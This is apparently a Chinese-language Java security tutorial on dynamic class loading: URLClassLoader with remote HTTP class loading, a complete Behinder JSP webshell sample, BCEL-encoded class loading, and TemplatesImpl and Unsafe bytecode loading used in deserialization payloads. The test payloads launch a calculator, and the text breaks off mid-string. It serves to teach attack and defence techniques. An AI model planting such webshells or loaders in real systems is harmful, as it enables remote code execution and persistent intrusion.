Java动态类加载

之前我们学习了ClassLoader,这里我们继续学习相关的类加载器。

URLClassLoader

URLClassLoader可以指定一串路径,然后再些路径下面寻找将要加载的类。这个类加载器如果没有指定的话父类加载器也是AppClassLoader。Java会根据配置项sun.boot.class.pathjava.class.path中列举的基础路径来寻找class文件,基础路径分为如下三种情况。

  • URL不是以/结尾,则会认为这是一个Jar文件,使用JarLoader来寻找类,即在Jar包中寻找.class文件
  • URL以斜杠/结尾,且使用file协议,则会使用FileLoader来寻找类,即本地文件系统中寻找.class 文件
  • URL以斜杠/结尾,但没有使用file协议的,则会默认最基础的Loader寻找类

开发中常用得是前两种,那如果需要使用Loader寻找类的时候,就需要用到非file协议,最常见的是http协议,我们可以通过这种方式直接加载远端的class文件,所以如果我们控制了目标Java ClassLoader的基础路径为一个http服务器,即可进行RCE。

本地磁盘class文件调用

这里我们首先尝试一下URLClassLoader的从本地寻找类,这边我们编写一个测试文件,该文件的执行结果是调用计算器并输出hello

import java.io.IOException;

public class TestDemo {
    public TestDemo() {
        System.out.println("hello");
        try {
            Runtime.getRuntime().exec("cmd /c calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

将该文件编译成class文件

javac .\TestDemo.java

1666868664515

编写ClassLoader测试类,利用URLClassLoader方式获取D本地磁盘中的class文件

public class TestClassLoader {
    public static void main(String[] args) {
        try{
            File file = new File("d:/");
            URI uri = file.toURI();//该方法方法创建一个文件:URI,表示抽象路径名。
            URL url = uri.toURL();//URI 提供一个 toURL() 方法将 URI 转化成一个 URL
            URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
            //注意,class文件需要放在和包名对应的目录下,这里放在了D:/com/alexsel/下
            Class clazz = classLoader.loadClass("com.alexsel.TestDemo");
            clazz.newInstance();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

执行结果:

1666869763463

网络传输class文件调用

这里我们测试一下HTTP协议,尝试从远程HTTP服务器上加载class文件

这里我们将之前生成的class文件放到云服务器上,然后使用python生成一个HTTP服务,当然本地开启HTTP服务也可以进行测试。

然后修改我们ClassLoader测试代码

public class TestClassLoader {
    public static void main(String[] args) {
        try{
//            File file = new File("d:/");
//            URI uri = file.toURI();
//            URL url = uri.toURL();
            URL url = new URL("http://http服务器ip:8080/");
            URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
            //注意,文件需要放在和包名对应的目录下,这里我为了方便测试,我将TestDemo类文件中的包名删除了,也就是这里的包名为空
            Class clazz = classLoader.loadClass("TestDemo");
            clazz.newInstance();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

1666872721861

1666873142818

这里有一个包名的问题,如果我们的包名为com.alexsel,则我们需要将文件放在com文件夹下的alexsel文件夹下,然后使用如下代码获取

classLoader.loadClass("com.alexsel.TestDemo");

这个代码的请求连接为如下图

1666872609686

如果没有包名的情况下,直接将文件放在根目录下,使用如下代码进行获取

classLoader.loadClass("TestDemo");

1666872632578

当类文件没有包名,但是我们将其放在com/alexsel目录下,虽然会请求成功,但是依然会报错

1666872609686

1666872895169

类加载隔离

类隔离的原理就是让 每个模块使用独立的类加载器来加载 ,这样不同模块之间的依赖就不会互相影响,使得不同版本类间隔离,避免了使用冲突问题。当两个不同的类加载器,加载同一个类即可实现 相互隔离 ,但是要注意 双亲委派模型 ,不要让父类加载器加载到你要加载的类。

创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

1666882475357

跨类加载器加载

RASP和IAST经常会用到跨类加载器加载类的情况,因为RASP/IAST会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射

JSP自定类加载后门

我们熟知的冰蝎编写的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击,其中equals方法传入的pageContext对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。

冰蝎后门示例

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {

        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

BCEL ClassLoader

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,这个项目下出现过比较出名的反序列化漏洞,我们常常说的CC链就是出自他的另一个子项目Apache Commons Collections。BCEL库提供了一系列用于分析、创建、修改Java Class文件的API,它被包含在了原生的JDK中,BCEL的类加载器在解析类名的时候会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各种攻击payload。

BCEL攻击原理

Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass加载一个类名中带有$$BCEL$$的类时,会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

BCEL兼容性问题

BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了

/**
* @param bytes the raw bytes of this Utf-8
* @deprecated (since 6.0)
*/
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
  throw new UnsupportedOperationException();
}

BCEL编解码

我们可以通过BCEL提供的两个类RepositoryUtility来加载字节码: Repository用于将一个Java Class转换成原生字节码(javac命令也可以);Utility用于将原生的字节码转换成BCEL格式的字节码。

BCEL编码:

private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}];

// BCEL编码类字节码
String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true);

这里我们就是用之前已经编码过的一个类的字节码进行测试

public class test1{
    //所要加载的类名
    private static String testClassName = "com.alexsel.testclass.TestHello";

    //TestHello类字节码
    private static byte[] testClassBytes = {
            -54, -2, -70, -66, 0, 0, 0, 61, 0, 29, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106,
            97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86,
            8, 0, 8, 1, 0, 6, 72, 101, 108, 108, 111, 33, 9, 0, 10, 0, 11, 7, 0, 12, 12, 0, 13, 0, 14, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114,
            105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 10, 0, 16, 0, 17, 7, 0, 18, 12, 0, 19, 0, 20, 1, 0, 19, 106, 97, 118, 97, 47, 105,
            111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 7, 0, 22, 1, 0, 31, 99, 111, 109, 47, 97,
            108, 101, 120, 115, 101, 108, 47, 116, 101, 115, 116, 99, 108, 97, 115, 115, 47, 84, 101, 115, 116, 72, 101, 108, 108, 111, 1, 0,
            4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 72, 101, 108, 108,
            111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 14, 84, 101, 115, 116, 72, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 21, 0, 2, 0, 0, 0, 0,
            0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 23, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 24, 0, 0, 0, 6, 0, 1, 0, 0,
            0, 3, 0, 1, 0, 25, 0, 26, 0, 1, 0, 23, 0, 0, 0, 44, 0, 2, 0, 2, 0, 0, 0, 12, 18, 7, 76, -78, 0, 9, 43, -74, 0, 15, 43, -80, 0, 0, 0, 1,
            0, 24, 0, 0, 0, 14, 0, 3, 0, 0, 0, 5, 0, 3, 0, 6, 0, 10, 0, 7, 0, 1, 0, 27, 0, 0, 0, 2, 0, 28
    };

    public static void main(String[] args) throws IOException {
        //Utility
        String code = Utility.encode(testClassBytes,true);
        System.out.println("$$BCEL$$"+code);
        
        //Repository
        //通过 Repository.lookupClass()将Class对象转化为表示Java字节码的对象JavaClass
        //然后通过Utility.encode() 将Java字节码对象JavaClass转化为BCEL格式的字节码
        //JavaClass evilJavaClazz = Repository.lookupClass(clazz);
        //String code = Utility.encode(evilJavaClazz.getBytes(), true);
        //String bcelCode = "$$BCEL$$" + code;
        //System.out.println(bcelCode);
    }
}

1666924438403

BCEL解码:

int    index    = className.indexOf("$$BCEL$$");
String realName = className.substring(index + 8);

// BCEL解码类字节码
byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);

将刚才编码的代码进行解码

public class test1{
    //所要加载的类名
    private static String testClassName = "com.alexsel.testclass.TestHello";

    //TestHello类字节码
    private static String bcelClassbytes = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmP$cbJ$c3$40$U$3d$d36$996$c6$b6$f6$e1$bbHw$8d$V$f3$BU7$82$b8$I$w$a4t$3f$8dCI$99$q$92LE$ffJ$5d$u$b8$f0$D$fc$u$f1$s$94$a2$e8$y$ce$bd$f7$cc9g$86$fb$f9$f5$fe$B$e0$U$3d$L$r$949$w6$M$98$M$cd$b9$b8$X$ae$S$f1$cc$bd$9e$cee$a0$Z$cc$930$O$f5$ZCy$e0L$aa$a8$Ss$v$95J$fa5XX$e3$b0m$ac$a3$fe$cb$ea$3ffZF$e4H$W$U$d0$f5$8a$9b0qo$d20$d6$beN$a5$88F$W$9a$d8$e0h$d9h$a3$c3$d0$feG$c3$c0$ef$f2I$c5$U2$f0$7e$e4k$a2g$pg$c2$b1$c9p$Q$q$91$x$94$7c$c8$a4r$b5$cct$a0D$96$b9c$ea$8a$8f2T$ce$93$5b$c9$d0$f0$c2X$5e$z$a2$a9L$c7b$aa$881$96$82$ce$c0$f9$h$cf$60$f9$c9$o$N$e4E$98k$eb$ab$c0$e3$5c$8a$3e$ba$b4$bb$fc$94$c0$f2$ed$Rn$d1$d4$a3$ca$a8$g$87o$60$cf$d40l$T$9a$FY$s$dc$c1$eeRzD$d6$3c$c2nq$ef$F$b5$e1$x$g$c3$a7$95$a3Nj$8a$n4i$d3$9c$d8$bd$e2$b1$fdo$90$98$80$3e$be$B$A$A";

    public static void main(String[] args) throws IOException {
        int index = bcelClassbytes.indexOf("$$BCEL$$");
        String realName = bcelClassbytes.substring(index + 8);
        byte[] bytes = Utility.decode(realName, true);
        System.out.println(Arrays.toString(bytes));
    }
}

1666924873781

如果被加载的类名中包含了$$BCEL$$关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类。

加载字节码

我们完成编码之后可以进行加载类的操作

import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class test1{
    //所要加载的类名
    private static String testClassName = "com.alexsel.testclass.TestHello";

    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        
        //这里的编码和刚才的不一致是因为之前编译的字节码是17版本的java,但是我这里使用的是8版本的,所以重新生成了一份
        String code2 = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85QMO$c2$40$Q$7dK$81B$ad$80$7c$f9$z$f6$G$92$d8$8b7$8c$X$T$c3$a1Q$T$I$f7$a5n$b0d$db$9a$b6$Y$fdW$eaA$T$P$fe$A$7f$94q$b6$Q$8c$91$c4$3d$cc$ec$bc$7d$f3$e6$ed$ee$e7$d7$fb$H$80$TX$G$f2$a8$VP$_$a2$81$a6$81Ml$e9$d8$d6$b1$c3$90$3f$f5$C$_9c$d0$da$9d$RC$f6$3c$bc$R$Me$c7$L$c4$e5$cc$l$8bh$c8$c7$92$90$aa$T$ba$5c$8ex$e4$a9z$Bf$93$5b$_f$b0$i7$f4m$$$c5C$y$a4$9d$888q$r$8fc$7bH$bb$be$902$ec1$e4$d2$NC$bd$ddq$a6$fc$9e$db$92$H$T$7b$90D$5e0$e9$v$f9$V$a01$Ig$91$x$$$3c5$ab$b4T$3bVT$T$3a$Kd$3fE$y$j$bb$s$f6$b0$af$e3$c0D$L$87$M$ad$7f$y1T$7e$s$5e$8d$a7$c2M$7eA$83$c78$R$3e$3dK8$a3$83$c6$dc$9e$X$da$d7$e4$z$n$87$82$fb$e4$b0$b6$Cf$d0$efT$r$D$eak$ff$bdWg$E$L9$fa$Q$b52$60$ea$o$U$8bT$d9$94$Z$e5$dc$d1$h$d8szlP$cc$a7$a0$865$8a$e6$9c$40y$9d2$3d$L$ca$8b$e6$3e$b13$8aQ$cd8$_$d0$ba$af$c8v$9f$96$g$r$eaW$7d$g$a9$Z4Ri5$e7$fc$85$96F$w$rTR$L$hi_$f5$h$v$B$B$84A$C$A$A";
        //加载字节码
        ClassLoader bcelClassLoader = new ClassLoader();
        Object testClass = bcelClassLoader.loadClass(code2).newInstance();
        //我们加载的类里有一个Hello方法,调用会输出Hello
        Method method = testClass.getClass().getMethod("Hello");
        method.invoke(testClass);
    }
}

ClassLoader#defineClass加载字节码

无论我们是网络加载class文件还是本地加载class文件,java会经历三个方法的调用

ClassLoader#loadClass-->ClassLoader#findClass-->ClassLoader#defineClass

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

所以其实真正加载类的方法是defineClass

接下来我们就编写代码测试加载字节码

TestHello.java

public class TestHello {
    public String Hello(){
        String Hello = "Hello!";
        System.out.println(Hello);
        return Hello;
    }
}

使用javac对该文件进行编译,然后使用cat TestHello.class获取其base64值

1666946588362

编写代码加载类

public class DefineClassDemo {

    public static String classbase64 = "yv66vgAAADQAHQoABgAPCAAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVIZWxsbwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADlRlc3RIZWxsby5qYXZhDAAHAAgBAAZIZWxsbyEHABcMABgAGQcAGgwAGwAcAQAJVGVzdEhlbGxvAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAgABAAcACAABAAkAAAAdAAEAAQAAAAUqtwABsQAAAAEACgAAAAYAAQAAAAEAAQALAAwAAQAJAAAALAACAAIAAAAMEgJMsgADK7YABCuwAAAAAQAKAAAADgADAAAAAwADAAQACgAFAAEADQAAAAIADg==";

    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] codes = Base64.getDecoder().decode(classbase64);
//        Class clazz = defineClass("TestHello",classBytes,0,classBytes.length);
        Class clazz = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"TestHello",
                codes,0,codes.length);
        Object obj = clazz.newInstance();
        Method method = obj.getClass().getMethod("Hello");
        method.invoke(obj);
    }
}

1666946419663

利用TemplatesImpl加载字节码

利用defineClass来加载字节码我们刚刚已经介绍过了,虽然defineClass方法可以加载字节码,但是大部分开发者不会选择直接使用,但是我们可以找到另外的出路,那就是TemplatesImpl用到了defineClass方法。在多个反序列化链中,以及fastjosn等组件中,都会有TemplatesImpl身影。

TemplatesImpl中有一个_bytecodes成员变量,用于存储类字节码,通过JSON反序列化的方式可以修改该变量值,但因为该成员变量没有可映射的get/set方法所以需要修改JSON库的虚拟化配置,比如Fastjson解析时必须启用Feature.SupportNonPublicField、Jackson必须开启JacksonPolymorphicDeserialization(调用mapper.enableDefaultTyping()),所以利用条件相对较高。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了内部类TransletClassLoader

1666950763070

我们可以看到这里类里自定义了一个defineClass方法,不过其内部还是调用的ClassLoader的defineClass方法,我们可以看到这个定义的内部类没有声明作用域,所以采用的是default作用域

1666951491686

所以该方法我们可以在同一个包中进行调用。

这里我们从TransletClassLoader#defineClass()开始,向上寻找调用链,最终完成的调用链如下

1666952079477

最外面的两层TemplatesImpl#newTransformer()以及TemplatesImpl#getOutputProperties()都是public修饰的,因此可以被外部调用

我们使用TemplatesImpl#newTransformer编写一个简单的poc

newTransformerTest.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import static ysoserial.payloads.util.Reflections.setFieldValue;
import java.util.Base64;

public class newTransformerTest {
    private static String testClassBase64 = "yv66vgAAADQAQwoAEQAeCQARAB8IACAIACEKAAcAIggAIwcAJAcAJQoABwAmCAAnBwAoCgApACoIACsJACwALQoALgAvBwAwBwAxAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHADIBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHADMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEADlRlc3RIZWxsby5qYXZhDAASABMMADQANQEABkhlbGxvIQEAEWphdmEubGFuZy5SdW50aW1lDAA2ADcBAARleGVjAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAOAA5AQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHADoMADsAPAEABGNhbGMHAD0MAD4APwcAQAwAQQBCAQAJVGVzdEhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAA90cmFuc2xldFZlcnNpb24BAAFJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEAEAARAAAAAAADAAEAEgATAAIAFAAAAI8ABgAGAAAAUyq3AAEqEGW1AAISA0wSBLgABU0sEgYEvQAHWQMSCFO2AAlOLBIKA70AB7YACToEGQQsA70AC7YADDoFLRkFBL0AC1kDEg1TtgAMV7IADiu2AA+xAAAAAQAVAAAAKgAKAAAADQAEAA4ACgAPAA0AEQATABIAIwATAC8AFAA7ABUASwAWAFIAFwAWAAAABAABABcAAQAYABkAAgAUAAAAGQAAAAMAAAABsQAAAAEAFQAAAAYAAQAAABwAFgAAAAQAAQAaAAEAGAAbAAIAFAAAABkAAAAEAAAAAbEAAAABABUAAAAGAAEAAAAhABYAAAAEAAEAGgABABwAAAACAB0=";
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode(testClassBase64);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{codes});
        setFieldValue(obj,"_name","TestHello");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

setFieldValue方法用来设置私有属性,这里是直接调用ysoserial.payloads.util.Reflections.setFieldValue。这里设置了三个属性:_bytecodes_name_tfactory_bytecodes是由字节码组成的数组,用来存放恶意字节码;_name 可以是任意字符串,只要不为空就好,_tfactory需要是一个TransformerFactoryImpl 对象,因为TemplatesImpldefineTransletClasses()方法调用了_tfactory.getExternalExtensionsMap(),如果是null则会报错。另外需要注意的是,TemplatesImpl中加载的字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

//没有包名
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


import java.lang.reflect.Method;

public class TestHello extends AbstractTranslet {

    public TestHello() throws Exception {
        super.transletVersion = 101;
        String Hello = "Hello!";
        //Runtime.getRuntime.exec("calc");
        Class runtime = Class.forName("java.lang.Runtime");
        Method exec = runtime.getMethod("exec",String.class);
        Method getRuntime = runtime.getMethod("getRuntime");
        Object r = getRuntime.invoke(runtime);
        exec.invoke(r,"calc");
        System.out.println(Hello);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

我们在构造中执行了super.transletVersion = 101;这个代码是因为,在我们这里该值为100,我们在运行newTransformerTest.java代码时,走到obj.newTransformer();这里会将该值和VER_SPLIT_NAMES_ARRAY(值101)比较,导致进入判断,但是namesArray的值为null,最终报错,如果我们将值修改为101就不会出现如下问题。

1666956876603

1666956911556

正常执行结果:

1666958618356

Unsafe

Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的。

Unsafe创建对象

我们通过查看源码可以发现其存在getUnsafe()方法,但是使用该方法获取Unsafe实例还会检查类加载器,默认情况下只允许Bootstrap Classloader调用。而且其构造方法是私有的,所以也无法通过new方式创建Unsafe实例。

1666972266908

我们继续阅读代码可以发现其静态代码块中存在实例化对象。

1666973324893

尽管正常创建方式是无法创建,但是我们可以通过反射的方式创建对象。

使用反射获取构造器创建对象

// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();
// 修改构造方法访问权限
constructor.setAccessible(true);
// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInstance();

使用反射获取theUnsafe成员变量

// 反射获取Unsafe的theUnsafe成员变量
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);
// 反射获取theUnsafe成员变量值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

使用allocateInstance创建实例

Unsafe.allocateInstance(Class<?> cls)方法提供绕过任意构造器实例化的功能,一些反射也无法创建创建实例的类,我们就可以使用UnsafeallocateInstance方法就可以绕过这个限制了。

测试类代码

public class UnsafeTestClass {
    //这里我们将构造器的作用域设置为public
    public UnsafeTestClass(){
        System.out.println("构造器被调用!");
    }
    public void hello(){
        System.out.println("hello");
    }
}

使用Unsafe创建对象

public class UnsafeDemo {
    public static void main(String[] args) throws Exception {
        // 反射获取Unsafe的theUnsafe成员变量
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        // 反射设置theUnsafe访问权限
        theUnsafeField.setAccessible(true);
        // 反射获取theUnsafe成员变量值
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
        UnsafeTestClass obj = (UnsafeTestClass)unsafe.allocateInstance(UnsafeTestClass.class);
        obj.hello();
    }
}

输出结果:

1666974932340

我们通过上图中的输出就可以看到,其是执行了Hello方法中的代码,构造器中的代码并没有被执行。

接着我们将其构造方法私有化尝试获取对象

public class UnsafeTestClass {
    //这里我们将构造器的作用域设置为private
    private UnsafeTestClass(){
        System.out.println("构造器被调用!");
    }
    public void hello(){
        System.out.println("hello");
    }
}

使用Unsafe创建对象

1666975100139

通过输出结果可以看到,成功创建对象,也是没有触发构造器。

使用defineClass加载字节码创建类

Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法

public native Class defineClass(String var1, byte[] var2, int var3, int var4);

public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);

使用Unsafe创建测试对象

lass helloWorldClass = unsafe.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);

或调用需要传入类加载器和保护域的方法:

传入六个参数:类名、字节码、字节码起始、字节码长度、加载器、保护域

// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();

// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
    new CodeSource(null, (Certificate[]) null), null, classLoader, null
);

// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(
    TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);

Unsafe还可以通过defineAnonymousClass方法创建内部类

测试实例

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Base64;

public class UnsafeDefineClass {
    private static String testClassBase64 = "yv66vgAAADQAQwoAEQAeCQARAB8IACAIACEKAAcAIggAIwcAJAcAJQoABwAmCAAnBwAoCgApACoIACsJACwALQoALgAvBwAwBwAxAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHADIBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHADMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEADlRlc3RIZWxsby5qYXZhDAASABMMADQANQEABkhlbGxvIQEAEWphdmEubGFuZy5SdW50aW1lDAA2ADcBAARleGVjAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAOAA5AQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHADoMADsAPAEABGNhbGMHAD0MAD4APwcAQAwAQQBCAQAJVGVzdEhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3V